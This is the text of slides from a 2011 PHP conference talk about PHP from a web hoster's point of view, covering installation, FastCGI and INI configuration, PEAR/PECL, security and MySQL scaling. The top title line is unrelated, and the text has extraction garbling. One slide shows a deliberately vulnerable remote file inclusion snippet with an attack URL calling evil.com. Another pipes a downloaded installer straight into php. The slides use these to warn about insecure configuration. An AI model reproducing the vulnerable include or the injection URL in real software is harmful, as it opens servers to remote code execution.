Realtime Communication Techniques with PHP
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Php through the eyes of a hoster phpbnl11
- PHP through the eyes of a hoster Thijs Feryn Evangelist +32 (0)9 218 79 06 thijs@combellgroup.com PHPBenelux Conference Saturday January 29th 2011 Antwerpen, Belgium
- Welcome to PHPBNL11
- About me I’m the support manager at Combell
- About me I used to be I’m the support manager at Combell
- About me I’m an Evangelist at Combell
- About me I’m a board member at PHPBenelux
- I live in the wonderful city of Bruges MPBecker -‐ Bruges by Night hYp://www.flickr.com/photos/galverson2/3715965933
- Follow me on TwiYer: @ThijsFeryn Read my blog: hYp://blog.feryn.eu Give me feedback: hYp://joind.in/2490
- Chapter I : The hoster, a genuine stakeholder in the PHP universe
- Stakeholders Customer Development company Endusers MGMT Devs MGMT Design PM Internal Internal IT PM Sales QA Systeam Consultant Hoster PHP community
- Stakeholders Somewhere along the road ... Your app needs to be hosted
- Goals & mocves Our goals & moEves are the same as yours: • It has to work • It has to perform • It has to scale • It has to be secure • It has to be available
- Chapter II: Installacon & configuracon
- Installing from source server$ ./configure -‐-‐prefix=/usr/local/php-‐5.2.10 -‐-‐with-‐apxs2=/usr/local/httpd-‐2.2.12/bin/apxs -‐-‐ with-‐zlib -‐-‐with-‐curl -‐-‐with-‐gd -‐-‐enable-‐mbstring -‐-‐with-‐mysql -‐-‐with-‐mysqli -‐-‐enable-‐pcntl -‐-‐with-‐ pdo-‐mysql -‐-‐with-‐readline -‐-‐enable-‐soap -‐-‐with-‐xsl -‐-‐with-‐mcrypt -‐-‐with-‐mssql -‐-‐with-‐snmp -‐-‐with-‐imap -‐-‐with-‐kerberos -‐-‐with-‐imap-‐ssl -‐-‐with-‐config-‐ file-‐path=/etc/php5/ -‐-‐enable-‐sockets -‐-‐with-‐ freetype-‐dir -‐-‐with-‐openssl server$ make server$ make install
- Installing using a package manager (APT/Apctude) Install PHP: server$ apt-‐get install php5 Install MySQL library for PHP: server$ apt-‐get install php5-‐mysql
- SAPI ... schmapi Mod_php FastCGI CLI Web Apache module gateway -‐ Process Apache process php-‐cgi php ConfiguraEon Apache conf files wrapper on the fly shell user or User Apache user shell user suexec user
- FastCGI Example config: • Apache handler <IfModule mod_fcgid.c> SuexecUserGroup dev dev PHP_Fix_Pathinfo_Enable 1 <Directory /var/www/dev/www/> Options +ExecCGI AllowOverride All AddHandler fcgid-‐script .php FCGIWrapper /var/www/dev/etc/fcgi.wrapper .php Order allow,deny Allow from all </Directory> </IfModule>
- FastCGI Example config: • Wrapper script #!/bin/sh PHPRC=/usr/local/php-‐5.3.1/etc export PHPRC export PHP_FCGI_MAX_REQUESTS=5000 export PHP_FCGI_CHILDREN=8 exec /usr/local/php-‐5.3.1/bin/php-‐cgi
- INI seengs: tales of good & evil
- INI seengs: tales of good & evil Defining INI seengs: • Php.ini • Ini_set() • “-‐d” • php_value • php_flag • php_admin_value • php_admin_flag
- INI seengs: tales of good & evil Memory_limit: Fatal error: Allowed memory size of 16777216 bytes exhausted (tried to allocate 35 bytes)
- INI seengs: tales of good & evil Safe_mode & Open_basedir: <IfModule mod_php5.c> php_admin_flag engine on php_admin_flag safe_mode off php_admin_value open_basedir "/var/www/vhosts/ website.com/httpdocs:/tmp" </IfModule>
- INI seengs: tales of good & evil Allow_url_fopen: <?php $lang= $_GET['lang']; require("$lang.php"); http://domain.ext/index.php?lang=http://evil.com/hack.txt?
- Chapter III: Versions & features
- PHP 4: End of life, but far from dead
- PHP 4: End of life, but far from dead Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in test.php on line 4
- Developers love bling bling
- It HAS to be PHP 5.3.5 !!!
- I need ALL PHP extension !!!
- I use ALL PHP features !!!
- Fruit & vegetables: PEAR & PECL
- Fruit & vegetables: PEAR & PECL PEAR PHP Extension and ApplicaEon Repository (h#p//pear.php.net) server$ lynx -‐source http://pear.php.net/go-‐pear | php server$ pear install date
- Fruit & vegetables: PEAR & PECL PECL (pickle) PHP Extension Community Library (h#p//pecl.php.net) server$ pecl install pecl_http
- External frameworks Popular frameworks outside the PHP project
- Chapter IV: PHP aYracts a crowd
- It’s easy !
- That easy ! <?php echo "Hello world!";
- It’s cheap !
- It’s stable !
- Everyone can be a PHP developer
- But not everyone has what it takes
- Luckily there’s a lot ready-‐to-‐use PHP soware out there
- Who you gonna call ?
- But when helpers need help ...
- They reach out to the PHP community User Group meeEngs Twi^er Blogs Forums PHP.net IRC Conferences
- Chapter V: Here be phpirates
- Here be phpirates
- Fact “The majority of hacking/absue cases are PHP related”
- False assumpcons “Open source is evil” “PHP has lots of security vulnerabiliEes and is not mature”
- Here be phpirates The real issues • Quality of the code • Network & server security • PHP version & configuraEon
- Responsibilices
- Chapter VI: Scalability
- Performance == speed
- Scalability == constant speed under increasing load
- Scaling up
- Scaling out
- Developers (some2mes) forget ...
- Scaling MySQL
- mysql> explain SELECT field1, (SELECT COUNT(*) FROM table2 WHERE field3 = table1.id) FROM table1 WHERE field2 = 1 ORDER BY field4 DESC limit 12,12; *************************** 1. row *************************** id: 1 select_type: PRIMARY table: table1 type: ALL possible_keys: approved key: approved key_len: NULL ref: NULL rows: 3143 Extra: Using where; Using filesort *************************** 2. row *************************** id: 2 select_type: DEPENDENT SUBQUERY table: table2 type: ALL possible_keys: NULL key: NULL key_len: NULL ref: NULL rows: 1005 Extra: Using where
- mysql> show processlist; +-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐ +-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+ | Id | User | Host | db | Command | Time | State | Info | +-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐ +-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+ | 63515 | root | localhost | db | Query | 0 | NULL | show processlist | | 81763 | root | localhost | db | Sleep | 105 | | NULL | | 85187 | root | localhost | db | Query | 0 | Sending data | SELECT data from someTable where field = 'val' | | 82701 | root | localhost | db | Query | 0 | Copying to tmp table | SELECT data from someTable where field='val2' | | 82709 | root | localhost | db | Query | 0 | Sorting result | SELECT data from someTable where order by field | | 82716 | root | localhost | db | Query | 0 | Opening tables | SELECT data from someOtherTable | +-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐+-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐ +-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐+
- Scaling MySQL with replicacon
- PHP scalability toolbox
- Memcached
- Gearman
- Varnish
- Summary
- Summary 1.Hosters are a genuine stakeholder in the PHP universe 2.PHP is highly flexible & configurable. Hosters have to ensure a decent setup 3.PHP has a lot to offer feature-‐wise 4.PHP aDracts a crowd and brings a lot of people together from different industries (e.g. hosters) 5.Lots of abuse cases are PHP related, but that’s not the fault of PHP itself 6.PHP itself doesn’t scale *that* well, but is flexible enough to ensure scalability via extra tools
- Q&A
